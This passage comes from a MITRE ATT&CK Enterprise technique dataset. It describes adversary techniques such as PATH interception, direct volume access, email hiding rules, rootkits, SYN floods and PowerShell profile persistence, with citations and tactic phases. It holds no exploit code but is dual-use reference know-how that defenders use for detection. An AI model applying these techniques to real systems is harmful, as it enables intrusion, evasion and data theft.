variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

enterprise-attack

Path Interception by PATH Environment Variable

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/007 external_id: T1574.007 source_name: Elastic Rules macOS launchctl 2022 description: Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023. url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html source_name: ExpressVPN PATH env Windows 2021 description: ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023. url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/ source_name: uptycs Fake POC linux malware 2023 description: Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023. url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware source_name: nixCraft macOS PATH variables description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023. url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources

enterprise-attack

Sharepoint

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1213/002 external_id: T1213.002 source_name: Microsoft SharePoint Logging description: Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2

kill_chain_name: mitre-attack phase_name: collection

Windows

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)

enterprise-attack

Direct Volume Access

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1006 external_id: T1006 source_name: Github PowerSploit Ninjacopy description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016. url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 source_name: Hakobyan 2009 description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014. url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin source_name: LOLBAS Esentutl description: LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Esentutl/

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)

enterprise-attack

Artificial Intelligence

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1588/007 external_id: T1588.007 source_name: MSFT-AI description: Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024. url: https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/ source_name: OpenAI-CTI description: OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024. url: https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security) In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).

enterprise-attack

Email Hiding Rules

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/008 external_id: T1564.008 source_name: MacOS Email Rules description: Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021. url: https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac source_name: Microsoft BEC Campaign description: Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021. url: https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/ source_name: Microsoft Mail Flow Rules 2023 description: Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023. url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules source_name: Microsoft Inbox Rules description: Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021. url: https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59 source_name: Microsoft New-InboxRule description: Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021. url: https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps source_name: Microsoft Set-InboxRule description: Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021. url: https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps source_name: Microsoft Cloud App Security description: Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021. url: https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)

enterprise-attack

External Defacement

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1491/002 external_id: T1491.002 source_name: FireEye Cyber Threats to Media Industries description: FireEye. (n.d.). Retrieved April 19, 2019. url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf source_name: Kevin Mandia Statement to US Senate Committee on Intelligence description: Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019. url: https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf source_name: Anonymous Hackers Deface Russian Govt Site description: Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019. url: https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/ source_name: Trend Micro Deep Dive Into Defacement description: Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019. url: https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf

kill_chain_name: mitre-attack phase_name: impact

Windows

Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use. This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64. The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection. For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.

enterprise-attack

Encrypted/Encoded File

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/013 external_id: T1027.013 source_name: File obfuscation description: Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024. url: https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/ source_name: SFX - Encrypted/Encoded File description: Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024. url: https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

enterprise-attack

IP Addresses

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1590/005 external_id: T1590.005 source_name: WHOIS description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. url: https://www.whois.net/ source_name: DNS Dumpster description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. url: https://dnsdumpster.com/ source_name: Circl Passive DNS description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. url: https://www.circl.lu/services/passive-dns/

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)

enterprise-attack

OS Exhaustion Flood

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1499/001 external_id: T1499.001 source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf source_name: Cloudflare SynFlood description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ source_name: Corero SYN-ACKflood description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html source_name: Arbor AnnualDoSreport Jan 2018 description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf

kill_chain_name: mitre-attack phase_name: impact

Linux

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

enterprise-attack

Rootkit

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1014 external_id: T1014 source_name: CrowdStrike Linux Rootkit description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ source_name: BlackHat Mac OSX Rootkit description: Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017. url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf source_name: Symantec Windows Rootkits description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf source_name: Wikipedia Rootkit description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. url: https://en.wikipedia.org/wiki/Rootkit

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

enterprise-attack

PowerShell Profile

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/013 external_id: T1546.013 source_name: Wits End and Shady PowerShell Profiles description: DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019. url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html source_name: ESET Turla PowerShell May 2019 description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ source_name: Malware Archaeology PowerShell Cheat Sheet description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf source_name: Microsoft About Profiles description: Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 source_name: Microsoft Profiles description: Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022. url: https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles

kill_chain_name: mitre-attack phase_name: persistence

Windows

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

enterprise-attack

JavaScript

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/007 external_id: T1059.007 source_name: NodeJS description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020. url: https://nodejs.org/ source_name: JScrip May 2018 description: Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020. url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript source_name: Microsoft JScript 2007 description: Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020. url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript source_name: Microsoft Windows Scripts description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020. url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces source_name: Apple About Mac Scripting 2016 description: Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021. url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html source_name: SpecterOps JXA 2020 description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021. url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 source_name: SentinelOne macOS Red Team description: Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020. url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ source_name: Red Canary Silver Sparrow Feb2021 description: Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021. url: https://redcanary.com/blog/clipping-silver-sparrows-wings/ source_name: MDSec macOS JXA and VSCode description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021. url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/

kill_chain_name: mitre-attack phase_name: execution

Windows

Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records) Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

enterprise-attack

DNS

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1590/002 external_id: T1590.002 source_name: Circl Passive DNS description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. url: https://www.circl.lu/services/passive-dns/ source_name: DNS Dumpster description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. url: https://dnsdumpster.com/ source_name: Sean Metcalf Twitter DNS Records description: Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022. url: https://twitter.com/PyroTek3/status/1126487227712921600/photo/1

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019) Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

enterprise-attack

Audio Capture

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1123 external_id: T1123 source_name: ESET Attor Oct 2019 description: Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020. url: https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf

kill_chain_name: mitre-attack phase_name: collection

Linux

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)

enterprise-attack

Create or Modify System Process

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543 external_id: T1543 source_name: AppleDocs Launch Agent Daemons description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html source_name: TechNet Services description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. url: https://technet.microsoft.com/en-us/library/cc772408.aspx source_name: OSX Malware Detection description: Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017. url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf

kill_chain_name: mitre-attack phase_name: privilege-escalation

Windows

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)

enterprise-attack

External Remote Services

